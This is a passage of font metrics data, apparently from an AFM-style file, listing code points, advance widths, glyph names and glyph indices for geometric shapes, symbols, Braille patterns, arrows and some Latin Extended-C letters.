U 9653 ; WX 502 ; N uni25B5 ; G 2544
U 9654 ; WX 769 ; N uni25B6 ; G 2545
U 9655 ; WX 769 ; N uni25B7 ; G 2546
U 9656 ; WX 502 ; N uni25B8 ; G 2547
U 9657 ; WX 502 ; N uni25B9 ; G 2548
U 9658 ; WX 769 ; N triagrt ; G 2549
U 9659 ; WX 769 ; N uni25BB ; G 2550
U 9660 ; WX 769 ; N triagdn ; G 2551
U 9661 ; WX 769 ; N uni25BD ; G 2552
U 9662 ; WX 502 ; N uni25BE ; G 2553
U 9663 ; WX 502 ; N uni25BF ; G 2554
U 9664 ; WX 769 ; N uni25C0 ; G 2555
U 9665 ; WX 769 ; N uni25C1 ; G 2556
U 9666 ; WX 502 ; N uni25C2 ; G 2557
U 9667 ; WX 502 ; N uni25C3 ; G 2558
U 9668 ; WX 769 ; N triaglf ; G 2559
U 9669 ; WX 769 ; N uni25C5 ; G 2560
U 9670 ; WX 769 ; N uni25C6 ; G 2561
U 9671 ; WX 769 ; N uni25C7 ; G 2562
U 9672 ; WX 769 ; N uni25C8 ; G 2563
U 9673 ; WX 873 ; N uni25C9 ; G 2564
U 9674 ; WX 494 ; N lozenge ; G 2565
U 9675 ; WX 873 ; N circle ; G 2566
U 9676 ; WX 873 ; N uni25CC ; G 2567
U 9677 ; WX 873 ; N uni25CD ; G 2568
U 9678 ; WX 873 ; N uni25CE ; G 2569
U 9679 ; WX 873 ; N H18533 ; G 2570
U 9680 ; WX 873 ; N uni25D0 ; G 2571
U 9681 ; WX 873 ; N uni25D1 ; G 2572
U 9682 ; WX 873 ; N uni25D2 ; G 2573
U 9683 ; WX 873 ; N uni25D3 ; G 2574
U 9684 ; WX 873 ; N uni25D4 ; G 2575
U 9685 ; WX 873 ; N uni25D5 ; G 2576
U 9686 ; WX 527 ; N uni25D6 ; G 2577
U 9687 ; WX 527 ; N uni25D7 ; G 2578
U 9688 ; WX 791 ; N invbullet ; G 2579
U 9689 ; WX 970 ; N invcircle ; G 2580
U 9690 ; WX 970 ; N uni25DA ; G 2581
U 9691 ; WX 970 ; N uni25DB ; G 2582
U 9692 ; WX 387 ; N uni25DC ; G 2583
U 9693 ; WX 387 ; N uni25DD ; G 2584
U 9694 ; WX 387 ; N uni25DE ; G 2585
U 9695 ; WX 387 ; N uni25DF ; G 2586
U 9696 ; WX 873 ; N uni25E0 ; G 2587
U 9697 ; WX 873 ; N uni25E1 ; G 2588
U 9698 ; WX 769 ; N uni25E2 ; G 2589
U 9699 ; WX 769 ; N uni25E3 ; G 2590
U 9700 ; WX 769 ; N uni25E4 ; G 2591
U 9701 ; WX 769 ; N uni25E5 ; G 2592
U 9702 ; WX 590 ; N openbullet ; G 2593
U 9703 ; WX 945 ; N uni25E7 ; G 2594
U 9704 ; WX 945 ; N uni25E8 ; G 2595
U 9705 ; WX 945 ; N uni25E9 ; G 2596
U 9706 ; WX 945 ; N uni25EA ; G 2597
U 9707 ; WX 945 ; N uni25EB ; G 2598
U 9708 ; WX 769 ; N uni25EC ; G 2599
U 9709 ; WX 769 ; N uni25ED ; G 2600
U 9710 ; WX 769 ; N uni25EE ; G 2601
U 9711 ; WX 1119 ; N uni25EF ; G 2602
U 9712 ; WX 945 ; N uni25F0 ; G 2603
U 9713 ; WX 945 ; N uni25F1 ; G 2604
U 9714 ; WX 945 ; N uni25F2 ; G 2605
U 9715 ; WX 945 ; N uni25F3 ; G 2606
U 9716 ; WX 873 ; N uni25F4 ; G 2607
U 9717 ; WX 873 ; N uni25F5 ; G 2608
U 9718 ; WX 873 ; N uni25F6 ; G 2609
U 9719 ; WX 873 ; N uni25F7 ; G 2610
U 9720 ; WX 769 ; N uni25F8 ; G 2611
U 9721 ; WX 769 ; N uni25F9 ; G 2612
U 9722 ; WX 769 ; N uni25FA ; G 2613
U 9723 ; WX 830 ; N uni25FB ; G 2614
U 9724 ; WX 830 ; N uni25FC ; G 2615
U 9725 ; WX 732 ; N uni25FD ; G 2616
U 9726 ; WX 732 ; N uni25FE ; G 2617
U 9727 ; WX 769 ; N uni25FF ; G 2618
U 9728 ; WX 896 ; N uni2600 ; G 2619
U 9784 ; WX 896 ; N uni2638 ; G 2620
U 9785 ; WX 896 ; N uni2639 ; G 2621
U 9786 ; WX 896 ; N smileface ; G 2622
U 9787 ; WX 896 ; N invsmileface ; G 2623
U 9788 ; WX 896 ; N sun ; G 2624
U 9791 ; WX 614 ; N uni263F ; G 2625
U 9792 ; WX 731 ; N female ; G 2626
U 9793 ; WX 731 ; N uni2641 ; G 2627
U 9794 ; WX 896 ; N male ; G 2628
U 9795 ; WX 896 ; N uni2643 ; G 2629
U 9796 ; WX 896 ; N uni2644 ; G 2630
U 9797 ; WX 896 ; N uni2645 ; G 2631
U 9798 ; WX 896 ; N uni2646 ; G 2632
U 9799 ; WX 896 ; N uni2647 ; G 2633
U 9824 ; WX 896 ; N spade ; G 2634
U 9825 ; WX 896 ; N uni2661 ; G 2635
U 9826 ; WX 896 ; N uni2662 ; G 2636
U 9827 ; WX 896 ; N club ; G 2637
U 9828 ; WX 896 ; N uni2664 ; G 2638
U 9829 ; WX 896 ; N heart ; G 2639
U 9830 ; WX 896 ; N diamond ; G 2640
U 9831 ; WX 896 ; N uni2667 ; G 2641
U 9833 ; WX 472 ; N uni2669 ; G 2642
U 9834 ; WX 638 ; N musicalnote ; G 2643
U 9835 ; WX 896 ; N musicalnotedbl ; G 2644
U 9836 ; WX 896 ; N uni266C ; G 2645
U 9837 ; WX 472 ; N uni266D ; G 2646
U 9838 ; WX 357 ; N uni266E ; G 2647
U 9839 ; WX 484 ; N uni266F ; G 2648
U 10145 ; WX 838 ; N uni27A1 ; G 2649
U 10181 ; WX 390 ; N uni27C5 ; G 2650
U 10182 ; WX 390 ; N uni27C6 ; G 2651
U 10208 ; WX 494 ; N uni27E0 ; G 2652
U 10216 ; WX 390 ; N uni27E8 ; G 2653
U 10217 ; WX 390 ; N uni27E9 ; G 2654
U 10224 ; WX 838 ; N uni27F0 ; G 2655
U 10225 ; WX 838 ; N uni27F1 ; G 2656
U 10226 ; WX 838 ; N uni27F2 ; G 2657
U 10227 ; WX 838 ; N uni27F3 ; G 2658
U 10228 ; WX 1033 ; N uni27F4 ; G 2659
U 10229 ; WX 1434 ; N uni27F5 ; G 2660
U 10230 ; WX 1434 ; N uni27F6 ; G 2661
U 10231 ; WX 1434 ; N uni27F7 ; G 2662
U 10232 ; WX 1434 ; N uni27F8 ; G 2663
U 10233 ; WX 1434 ; N uni27F9 ; G 2664
U 10234 ; WX 1434 ; N uni27FA ; G 2665
U 10235 ; WX 1434 ; N uni27FB ; G 2666
U 10236 ; WX 1434 ; N uni27FC ; G 2667
U 10237 ; WX 1434 ; N uni27FD ; G 2668
U 10238 ; WX 1434 ; N uni27FE ; G 2669
U 10239 ; WX 1434 ; N uni27FF ; G 2670
U 10240 ; WX 732 ; N uni2800 ; G 2671
U 10241 ; WX 732 ; N uni2801 ; G 2672
U 10242 ; WX 732 ; N uni2802 ; G 2673
U 10243 ; WX 732 ; N uni2803 ; G 2674
U 10244 ; WX 732 ; N uni2804 ; G 2675
U 10245 ; WX 732 ; N uni2805 ; G 2676
U 10246 ; WX 732 ; N uni2806 ; G 2677
U 10247 ; WX 732 ; N uni2807 ; G 2678
U 10248 ; WX 732 ; N uni2808 ; G 2679
U 10249 ; WX 732 ; N uni2809 ; G 2680
U 10250 ; WX 732 ; N uni280A ; G 2681
U 10251 ; WX 732 ; N uni280B ; G 2682
U 10252 ; WX 732 ; N uni280C ; G 2683
U 10253 ; WX 732 ; N uni280D ; G 2684
U 10254 ; WX 732 ; N uni280E ; G 2685
U 10255 ; WX 732 ; N uni280F ; G 2686
U 10256 ; WX 732 ; N uni2810 ; G 2687
U 10257 ; WX 732 ; N uni2811 ; G 2688
U 10258 ; WX 732 ; N uni2812 ; G 2689
U 10259 ; WX 732 ; N uni2813 ; G 2690
U 10260 ; WX 732 ; N uni2814 ; G 2691
U 10261 ; WX 732 ; N uni2815 ; G 2692
U 10262 ; WX 732 ; N uni2816 ; G 2693
U 10263 ; WX 732 ; N uni2817 ; G 2694
U 10264 ; WX 732 ; N uni2818 ; G 2695
U 10265 ; WX 732 ; N uni2819 ; G 2696
U 10266 ; WX 732 ; N uni281A ; G 2697
U 10267 ; WX 732 ; N uni281B ; G 2698
U 10268 ; WX 732 ; N uni281C ; G 2699
U 10269 ; WX 732 ; N uni281D ; G 2700
U 10270 ; WX 732 ; N uni281E ; G 2701
U 10271 ; WX 732 ; N uni281F ; G 2702
U 10272 ; WX 732 ; N uni2820 ; G 2703
U 10273 ; WX 732 ; N uni2821 ; G 2704
U 10274 ; WX 732 ; N uni2822 ; G 2705
U 10275 ; WX 732 ; N uni2823 ; G 2706
U 10276 ; WX 732 ; N uni2824 ; G 2707
U 10277 ; WX 732 ; N uni2825 ; G 2708
U 10278 ; WX 732 ; N uni2826 ; G 2709
U 10279 ; WX 732 ; N uni2827 ; G 2710
U 10280 ; WX 732 ; N uni2828 ; G 2711
U 10281 ; WX 732 ; N uni2829 ; G 2712
U 10282 ; WX 732 ; N uni282A ; G 2713
U 10283 ; WX 732 ; N uni282B ; G 2714
U 10284 ; WX 732 ; N uni282C ; G 2715
U 10285 ; WX 732 ; N uni282D ; G 2716
U 10286 ; WX 732 ; N uni282E ; G 2717
U 10287 ; WX 732 ; N uni282F ; G 2718
U 10288 ; WX 732 ; N uni2830 ; G 2719
U 10289 ; WX 732 ; N uni2831 ; G 2720
U 10290 ; WX 732 ; N uni2832 ; G 2721
U 10291 ; WX 732 ; N uni2833 ; G 2722
U 10292 ; WX 732 ; N uni2834 ; G 2723
U 10293 ; WX 732 ; N uni2835 ; G 2724
U 10294 ; WX 732 ; N uni2836 ; G 2725
U 10295 ; WX 732 ; N uni2837 ; G 2726
U 10296 ; WX 732 ; N uni2838 ; G 2727
U 10297 ; WX 732 ; N uni2839 ; G 2728
U 10298 ; WX 732 ; N uni283A ; G 2729
U 10299 ; WX 732 ; N uni283B ; G 2730
U 10300 ; WX 732 ; N uni283C ; G 2731
U 10301 ; WX 732 ; N uni283D ; G 2732
U 10302 ; WX 732 ; N uni283E ; G 2733
U 10303 ; WX 732 ; N uni283F ; G 2734
U 10304 ; WX 732 ; N uni2840 ; G 2735
U 10305 ; WX 732 ; N uni2841 ; G 2736
U 10306 ; WX 732 ; N uni2842 ; G 2737
U 10307 ; WX 732 ; N uni2843 ; G 2738
U 10308 ; WX 732 ; N uni2844 ; G 2739
U 10309 ; WX 732 ; N uni2845 ; G 2740
U 10310 ; WX 732 ; N uni2846 ; G 2741
U 10311 ; WX 732 ; N uni2847 ; G 2742
U 10312 ; WX 732 ; N uni2848 ; G 2743
U 10313 ; WX 732 ; N uni2849 ; G 2744
U 10314 ; WX 732 ; N uni284A ; G 2745
U 10315 ; WX 732 ; N uni284B ; G 2746
U 10316 ; WX 732 ; N uni284C ; G 2747
U 10317 ; WX 732 ; N uni284D ; G 2748
U 10318 ; WX 732 ; N uni284E ; G 2749
U 10319 ; WX 732 ; N uni284F ; G 2750
U 10320 ; WX 732 ; N uni2850 ; G 2751
U 10321 ; WX 732 ; N uni2851 ; G 2752
U 10322 ; WX 732 ; N uni2852 ; G 2753
U 10323 ; WX 732 ; N uni2853 ; G 2754
U 10324 ; WX 732 ; N uni2854 ; G 2755
U 10325 ; WX 732 ; N uni2855 ; G 2756
U 10326 ; WX 732 ; N uni2856 ; G 2757
U 10327 ; WX 732 ; N uni2857 ; G 2758
U 10328 ; WX 732 ; N uni2858 ; G 2759
U 10329 ; WX 732 ; N uni2859 ; G 2760
U 10330 ; WX 732 ; N uni285A ; G 2761
U 10331 ; WX 732 ; N uni285B ; G 2762
U 10332 ; WX 732 ; N uni285C ; G 2763
U 10333 ; WX 732 ; N uni285D ; G 2764
U 10334 ; WX 732 ; N uni285E ; G 2765
U 10335 ; WX 732 ; N uni285F ; G 2766
U 10336 ; WX 732 ; N uni2860 ; G 2767
U 10337 ; WX 732 ; N uni2861 ; G 2768
U 10338 ; WX 732 ; N uni2862 ; G 2769
U 10339 ; WX 732 ; N uni2863 ; G 2770
U 10340 ; WX 732 ; N uni2864 ; G 2771
U 10341 ; WX 732 ; N uni2865 ; G 2772
U 10342 ; WX 732 ; N uni2866 ; G 2773
U 10343 ; WX 732 ; N uni2867 ; G 2774
U 10344 ; WX 732 ; N uni2868 ; G 2775
U 10345 ; WX 732 ; N uni2869 ; G 2776
U 10346 ; WX 732 ; N uni286A ; G 2777
U 10347 ; WX 732 ; N uni286B ; G 2778
U 10348 ; WX 732 ; N uni286C ; G 2779
U 10349 ; WX 732 ; N uni286D ; G 2780
U 10350 ; WX 732 ; N uni286E ; G 2781
U 10351 ; WX 732 ; N uni286F ; G 2782
U 10352 ; WX 732 ; N uni2870 ; G 2783
U 10353 ; WX 732 ; N uni2871 ; G 2784
U 10354 ; WX 732 ; N uni2872 ; G 2785
U 10355 ; WX 732 ; N uni2873 ; G 2786
U 10356 ; WX 732 ; N uni2874 ; G 2787
U 10357 ; WX 732 ; N uni2875 ; G 2788
U 10358 ; WX 732 ; N uni2876 ; G 2789
U 10359 ; WX 732 ; N uni2877 ; G 2790
U 10360 ; WX 732 ; N uni2878 ; G 2791
U 10361 ; WX 732 ; N uni2879 ; G 2792
U 10362 ; WX 732 ; N uni287A ; G 2793
U 10363 ; WX 732 ; N uni287B ; G 2794
U 10364 ; WX 732 ; N uni287C ; G 2795
U 10365 ; WX 732 ; N uni287D ; G 2796
U 10366 ; WX 732 ; N uni287E ; G 2797
U 10367 ; WX 732 ; N uni287F ; G 2798
U 10368 ; WX 732 ; N uni2880 ; G 2799
U 10369 ; WX 732 ; N uni2881 ; G 2800
U 10370 ; WX 732 ; N uni2882 ; G 2801
U 10371 ; WX 732 ; N uni2883 ; G 2802
U 10372 ; WX 732 ; N uni2884 ; G 2803
U 10373 ; WX 732 ; N uni2885 ; G 2804
U 10374 ; WX 732 ; N uni2886 ; G 2805
U 10375 ; WX 732 ; N uni2887 ; G 2806
U 10376 ; WX 732 ; N uni2888 ; G 2807
U 10377 ; WX 732 ; N uni2889 ; G 2808
U 10378 ; WX 732 ; N uni288A ; G 2809
U 10379 ; WX 732 ; N uni288B ; G 2810
U 10380 ; WX 732 ; N uni288C ; G 2811
U 10381 ; WX 732 ; N uni288D ; G 2812
U 10382 ; WX 732 ; N uni288E ; G 2813
U 10383 ; WX 732 ; N uni288F ; G 2814
U 10384 ; WX 732 ; N uni2890 ; G 2815
U 10385 ; WX 732 ; N uni2891 ; G 2816
U 10386 ; WX 732 ; N uni2892 ; G 2817
U 10387 ; WX 732 ; N uni2893 ; G 2818
U 10388 ; WX 732 ; N uni2894 ; G 2819
U 10389 ; WX 732 ; N uni2895 ; G 2820
U 10390 ; WX 732 ; N uni2896 ; G 2821
U 10391 ; WX 732 ; N uni2897 ; G 2822
U 10392 ; WX 732 ; N uni2898 ; G 2823
U 10393 ; WX 732 ; N uni2899 ; G 2824
U 10394 ; WX 732 ; N uni289A ; G 2825
U 10395 ; WX 732 ; N uni289B ; G 2826
U 10396 ; WX 732 ; N uni289C ; G 2827
U 10397 ; WX 732 ; N uni289D ; G 2828
U 10398 ; WX 732 ; N uni289E ; G 2829
U 10399 ; WX 732 ; N uni289F ; G 2830
U 10400 ; WX 732 ; N uni28A0 ; G 2831
U 10401 ; WX 732 ; N uni28A1 ; G 2832
U 10402 ; WX 732 ; N uni28A2 ; G 2833
U 10403 ; WX 732 ; N uni28A3 ; G 2834
U 10404 ; WX 732 ; N uni28A4 ; G 2835
U 10405 ; WX 732 ; N uni28A5 ; G 2836
U 10406 ; WX 732 ; N uni28A6 ; G 2837
U 10407 ; WX 732 ; N uni28A7 ; G 2838
U 10408 ; WX 732 ; N uni28A8 ; G 2839
U 10409 ; WX 732 ; N uni28A9 ; G 2840
U 10410 ; WX 732 ; N uni28AA ; G 2841
U 10411 ; WX 732 ; N uni28AB ; G 2842
U 10412 ; WX 732 ; N uni28AC ; G 2843
U 10413 ; WX 732 ; N uni28AD ; G 2844
U 10414 ; WX 732 ; N uni28AE ; G 2845
U 10415 ; WX 732 ; N uni28AF ; G 2846
U 10416 ; WX 732 ; N uni28B0 ; G 2847
U 10417 ; WX 732 ; N uni28B1 ; G 2848
U 10418 ; WX 732 ; N uni28B2 ; G 2849
U 10419 ; WX 732 ; N uni28B3 ; G 2850
U 10420 ; WX 732 ; N uni28B4 ; G 2851
U 10421 ; WX 732 ; N uni28B5 ; G 2852
U 10422 ; WX 732 ; N uni28B6 ; G 2853
U 10423 ; WX 732 ; N uni28B7 ; G 2854
U 10424 ; WX 732 ; N uni28B8 ; G 2855
U 10425 ; WX 732 ; N uni28B9 ; G 2856
U 10426 ; WX 732 ; N uni28BA ; G 2857
U 10427 ; WX 732 ; N uni28BB ; G 2858
U 10428 ; WX 732 ; N uni28BC ; G 2859
U 10429 ; WX 732 ; N uni28BD ; G 2860
U 10430 ; WX 732 ; N uni28BE ; G 2861
U 10431 ; WX 732 ; N uni28BF ; G 2862
U 10432 ; WX 732 ; N uni28C0 ; G 2863
U 10433 ; WX 732 ; N uni28C1 ; G 2864
U 10434 ; WX 732 ; N uni28C2 ; G 2865
U 10435 ; WX 732 ; N uni28C3 ; G 2866
U 10436 ; WX 732 ; N uni28C4 ; G 2867
U 10437 ; WX 732 ; N uni28C5 ; G 2868
U 10438 ; WX 732 ; N uni28C6 ; G 2869
U 10439 ; WX 732 ; N uni28C7 ; G 2870
U 10440 ; WX 732 ; N uni28C8 ; G 2871
U 10441 ; WX 732 ; N uni28C9 ; G 2872
U 10442 ; WX 732 ; N uni28CA ; G 2873
U 10443 ; WX 732 ; N uni28CB ; G 2874
U 10444 ; WX 732 ; N uni28CC ; G 2875
U 10445 ; WX 732 ; N uni28CD ; G 2876
U 10446 ; WX 732 ; N uni28CE ; G 2877
U 10447 ; WX 732 ; N uni28CF ; G 2878
U 10448 ; WX 732 ; N uni28D0 ; G 2879
U 10449 ; WX 732 ; N uni28D1 ; G 2880
U 10450 ; WX 732 ; N uni28D2 ; G 2881
U 10451 ; WX 732 ; N uni28D3 ; G 2882
U 10452 ; WX 732 ; N uni28D4 ; G 2883
U 10453 ; WX 732 ; N uni28D5 ; G 2884
U 10454 ; WX 732 ; N uni28D6 ; G 2885
U 10455 ; WX 732 ; N uni28D7 ; G 2886
U 10456 ; WX 732 ; N uni28D8 ; G 2887
U 10457 ; WX 732 ; N uni28D9 ; G 2888
U 10458 ; WX 732 ; N uni28DA ; G 2889
U 10459 ; WX 732 ; N uni28DB ; G 2890
U 10460 ; WX 732 ; N uni28DC ; G 2891
U 10461 ; WX 732 ; N uni28DD ; G 2892
U 10462 ; WX 732 ; N uni28DE ; G 2893
U 10463 ; WX 732 ; N uni28DF ; G 2894
U 10464 ; WX 732 ; N uni28E0 ; G 2895
U 10465 ; WX 732 ; N uni28E1 ; G 2896
U 10466 ; WX 732 ; N uni28E2 ; G 2897
U 10467 ; WX 732 ; N uni28E3 ; G 2898
U 10468 ; WX 732 ; N uni28E4 ; G 2899
U 10469 ; WX 732 ; N uni28E5 ; G 2900
U 10470 ; WX 732 ; N uni28E6 ; G 2901
U 10471 ; WX 732 ; N uni28E7 ; G 2902
U 10472 ; WX 732 ; N uni28E8 ; G 2903
U 10473 ; WX 732 ; N uni28E9 ; G 2904
U 10474 ; WX 732 ; N uni28EA ; G 2905
U 10475 ; WX 732 ; N uni28EB ; G 2906
U 10476 ; WX 732 ; N uni28EC ; G 2907
U 10477 ; WX 732 ; N uni28ED ; G 2908
U 10478 ; WX 732 ; N uni28EE ; G 2909
U 10479 ; WX 732 ; N uni28EF ; G 2910
U 10480 ; WX 732 ; N uni28F0 ; G 2911
U 10481 ; WX 732 ; N uni28F1 ; G 2912
U 10482 ; WX 732 ; N uni28F2 ; G 2913
U 10483 ; WX 732 ; N uni28F3 ; G 2914
U 10484 ; WX 732 ; N uni28F4 ; G 2915
U 10485 ; WX 732 ; N uni28F5 ; G 2916
U 10486 ; WX 732 ; N uni28F6 ; G 2917
U 10487 ; WX 732 ; N uni28F7 ; G 2918
U 10488 ; WX 732 ; N uni28F8 ; G 2919
U 10489 ; WX 732 ; N uni28F9 ; G 2920
U 10490 ; WX 732 ; N uni28FA ; G 2921
U 10491 ; WX 732 ; N uni28FB ; G 2922
U 10492 ; WX 732 ; N uni28FC ; G 2923
U 10493 ; WX 732 ; N uni28FD ; G 2924
U 10494 ; WX 732 ; N uni28FE ; G 2925
U 10495 ; WX 732 ; N uni28FF ; G 2926
U 10496 ; WX 838 ; N uni2900 ; G 2927
U 10497 ; WX 838 ; N uni2901 ; G 2928
U 10498 ; WX 838 ; N uni2902 ; G 2929
U 10499 ; WX 838 ; N uni2903 ; G 2930
U 10500 ; WX 838 ; N uni2904 ; G 2931
U 10501 ; WX 838 ; N uni2905 ; G 2932
U 10502 ; WX 838 ; N uni2906 ; G 2933
U 10503 ; WX 838 ; N uni2907 ; G 2934
U 10504 ; WX 838 ; N uni2908 ; G 2935
U 10505 ; WX 838 ; N uni2909 ; G 2936
U 10506 ; WX 838 ; N uni290A ; G 2937
U 10507 ; WX 838 ; N uni290B ; G 2938
U 10508 ; WX 838 ; N uni290C ; G 2939
U 10509 ; WX 838 ; N uni290D ; G 2940
U 10510 ; WX 838 ; N uni290E ; G 2941
U 10511 ; WX 838 ; N uni290F ; G 2942
U 10512 ; WX 838 ; N uni2910 ; G 2943
U 10513 ; WX 838 ; N uni2911 ; G 2944
U 10514 ; WX 838 ; N uni2912 ; G 2945
U 10515 ; WX 838 ; N uni2913 ; G 2946
U 10516 ; WX 838 ; N uni2914 ; G 2947
U 10517 ; WX 838 ; N uni2915 ; G 2948
U 10518 ; WX 838 ; N uni2916 ; G 2949
U 10519 ; WX 838 ; N uni2917 ; G 2950
U 10520 ; WX 838 ; N uni2918 ; G 2951
U 10521 ; WX 838 ; N uni2919 ; G 2952
U 10522 ; WX 838 ; N uni291A ; G 2953
U 10523 ; WX 838 ; N uni291B ; G 2954
U 10524 ; WX 838 ; N uni291C ; G 2955
U 10525 ; WX 838 ; N uni291D ; G 2956
U 10526 ; WX 838 ; N uni291E ; G 2957
U 10527 ; WX 838 ; N uni291F ; G 2958
U 10528 ; WX 838 ; N uni2920 ; G 2959
U 10529 ; WX 838 ; N uni2921 ; G 2960
U 10530 ; WX 838 ; N uni2922 ; G 2961
U 10531 ; WX 838 ; N uni2923 ; G 2962
U 10532 ; WX 838 ; N uni2924 ; G 2963
U 10533 ; WX 838 ; N uni2925 ; G 2964
U 10534 ; WX 838 ; N uni2926 ; G 2965
U 10535 ; WX 838 ; N uni2927 ; G 2966
U 10536 ; WX 838 ; N uni2928 ; G 2967
U 10537 ; WX 838 ; N uni2929 ; G 2968
U 10538 ; WX 838 ; N uni292A ; G 2969
U 10539 ; WX 838 ; N uni292B ; G 2970
U 10540 ; WX 838 ; N uni292C ; G 2971
U 10541 ; WX 838 ; N uni292D ; G 2972
U 10542 ; WX 838 ; N uni292E ; G 2973
U 10543 ; WX 838 ; N uni292F ; G 2974
U 10544 ; WX 838 ; N uni2930 ; G 2975
U 10545 ; WX 838 ; N uni2931 ; G 2976
U 10546 ; WX 838 ; N uni2932 ; G 2977
U 10547 ; WX 838 ; N uni2933 ; G 2978
U 10548 ; WX 838 ; N uni2934 ; G 2979
U 10549 ; WX 838 ; N uni2935 ; G 2980
U 10550 ; WX 838 ; N uni2936 ; G 2981
U 10551 ; WX 838 ; N uni2937 ; G 2982
U 10552 ; WX 838 ; N uni2938 ; G 2983
U 10553 ; WX 838 ; N uni2939 ; G 2984
U 10554 ; WX 838 ; N uni293A ; G 2985
U 10555 ; WX 838 ; N uni293B ; G 2986
U 10556 ; WX 838 ; N uni293C ; G 2987
U 10557 ; WX 838 ; N uni293D ; G 2988
U 10558 ; WX 838 ; N uni293E ; G 2989
U 10559 ; WX 838 ; N uni293F ; G 2990
U 10560 ; WX 838 ; N uni2940 ; G 2991
U 10561 ; WX 838 ; N uni2941 ; G 2992
U 10562 ; WX 838 ; N uni2942 ; G 2993
U 10563 ; WX 838 ; N uni2943 ; G 2994
U 10564 ; WX 838 ; N uni2944 ; G 2995
U 10565 ; WX 838 ; N uni2945 ; G 2996
U 10566 ; WX 838 ; N uni2946 ; G 2997
U 10567 ; WX 838 ; N uni2947 ; G 2998
U 10568 ; WX 838 ; N uni2948 ; G 2999
U 10569 ; WX 838 ; N uni2949 ; G 3000
U 10570 ; WX 838 ; N uni294A ; G 3001
U 10571 ; WX 838 ; N uni294B ; G 3002
U 10572 ; WX 838 ; N uni294C ; G 3003
U 10573 ; WX 838 ; N uni294D ; G 3004
U 10574 ; WX 838 ; N uni294E ; G 3005
U 10575 ; WX 838 ; N uni294F ; G 3006
U 10576 ; WX 838 ; N uni2950 ; G 3007
U 10577 ; WX 838 ; N uni2951 ; G 3008
U 10578 ; WX 838 ; N uni2952 ; G 3009
U 10579 ; WX 838 ; N uni2953 ; G 3010
U 10580 ; WX 838 ; N uni2954 ; G 3011
U 10581 ; WX 838 ; N uni2955 ; G 3012
U 10582 ; WX 838 ; N uni2956 ; G 3013
U 10583 ; WX 838 ; N uni2957 ; G 3014
U 10584 ; WX 838 ; N uni2958 ; G 3015
U 10585 ; WX 838 ; N uni2959 ; G 3016
U 10586 ; WX 838 ; N uni295A ; G 3017
U 10587 ; WX 838 ; N uni295B ; G 3018
U 10588 ; WX 838 ; N uni295C ; G 3019
U 10589 ; WX 838 ; N uni295D ; G 3020
U 10590 ; WX 838 ; N uni295E ; G 3021
U 10591 ; WX 838 ; N uni295F ; G 3022
U 10592 ; WX 838 ; N uni2960 ; G 3023
U 10593 ; WX 838 ; N uni2961 ; G 3024
U 10594 ; WX 838 ; N uni2962 ; G 3025
U 10595 ; WX 838 ; N uni2963 ; G 3026
U 10596 ; WX 838 ; N uni2964 ; G 3027
U 10597 ; WX 838 ; N uni2965 ; G 3028
U 10598 ; WX 838 ; N uni2966 ; G 3029
U 10599 ; WX 838 ; N uni2967 ; G 3030
U 10600 ; WX 838 ; N uni2968 ; G 3031
U 10601 ; WX 838 ; N uni2969 ; G 3032
U 10602 ; WX 838 ; N uni296A ; G 3033
U 10603 ; WX 838 ; N uni296B ; G 3034
U 10604 ; WX 838 ; N uni296C ; G 3035
U 10605 ; WX 838 ; N uni296D ; G 3036
U 10606 ; WX 838 ; N uni296E ; G 3037
U 10607 ; WX 838 ; N uni296F ; G 3038
U 10608 ; WX 838 ; N uni2970 ; G 3039
U 10609 ; WX 838 ; N uni2971 ; G 3040
U 10610 ; WX 838 ; N uni2972 ; G 3041
U 10611 ; WX 838 ; N uni2973 ; G 3042
U 10612 ; WX 838 ; N uni2974 ; G 3043
U 10613 ; WX 838 ; N uni2975 ; G 3044
U 10614 ; WX 838 ; N uni2976 ; G 3045
U 10615 ; WX 981 ; N uni2977 ; G 3046
U 10616 ; WX 838 ; N uni2978 ; G 3047
U 10617 ; WX 838 ; N uni2979 ; G 3048
U 10618 ; WX 984 ; N uni297A ; G 3049
U 10619 ; WX 838 ; N uni297B ; G 3050
U 10620 ; WX 838 ; N uni297C ; G 3051
U 10621 ; WX 838 ; N uni297D ; G 3052
U 10622 ; WX 838 ; N uni297E ; G 3053
U 10623 ; WX 838 ; N uni297F ; G 3054
U 10731 ; WX 494 ; N uni29EB ; G 3055
U 10764 ; WX 1513 ; N uni2A0C ; G 3056
U 10765 ; WX 521 ; N uni2A0D ; G 3057
U 10766 ; WX 521 ; N uni2A0E ; G 3058
U 10799 ; WX 838 ; N uni2A2F ; G 3059
U 10858 ; WX 838 ; N uni2A6A ; G 3060
U 10859 ; WX 838 ; N uni2A6B ; G 3061
U 11008 ; WX 838 ; N uni2B00 ; G 3062
U 11009 ; WX 838 ; N uni2B01 ; G 3063
U 11010 ; WX 838 ; N uni2B02 ; G 3064
U 11011 ; WX 838 ; N uni2B03 ; G 3065
U 11012 ; WX 838 ; N uni2B04 ; G 3066
U 11013 ; WX 838 ; N uni2B05 ; G 3067
U 11014 ; WX 838 ; N uni2B06 ; G 3068
U 11015 ; WX 838 ; N uni2B07 ; G 3069
U 11016 ; WX 838 ; N uni2B08 ; G 3070
U 11017 ; WX 838 ; N uni2B09 ; G 3071
U 11018 ; WX 838 ; N uni2B0A ; G 3072
U 11019 ; WX 838 ; N uni2B0B ; G 3073
U 11020 ; WX 838 ; N uni2B0C ; G 3074
U 11021 ; WX 838 ; N uni2B0D ; G 3075
U 11022 ; WX 838 ; N uni2B0E ; G 3076
U 11023 ; WX 838 ; N uni2B0F ; G 3077
U 11024 ; WX 838 ; N uni2B10 ; G 3078
U 11025 ; WX 838 ; N uni2B11 ; G 3079
U 11026 ; WX 945 ; N uni2B12 ; G 3080
U 11027 ; WX 945 ; N uni2B13 ; G 3081
U 11028 ; WX 945 ; N uni2B14 ; G 3082
U 11029 ; WX 945 ; N uni2B15 ; G 3083
U 11030 ; WX 769 ; N uni2B16 ; G 3084
U 11031 ; WX 769 ; N uni2B17 ; G 3085
U 11032 ; WX 769 ; N uni2B18 ; G 3086
U 11033 ; WX 769 ; N uni2B19 ; G 3087
U 11034 ; WX 945 ; N uni2B1A ; G 3088
U 11360 ; WX 664 ; N uni2C60 ; G 3089
U 11361 ; WX 320 ; N uni2C61 ; G 3090
U 11363 ; WX 673 ; N uni2C63 ; G 3091
U 11364 ; WX 753 ; N uni2C64 ; G 3092
U 11367 ; WX 872 ; N uni2C67 ; G 3093
U 11368 ; WX 644 ; N uni2C68 ; G 3094
U 11369 ; WX 747 ; N uni2C69 ; G 3095
U 11370 ; WX 606 ; N uni2C6A ; G 3096
U 11371 ; WX 695 ; N uni2C6B ; G 3097
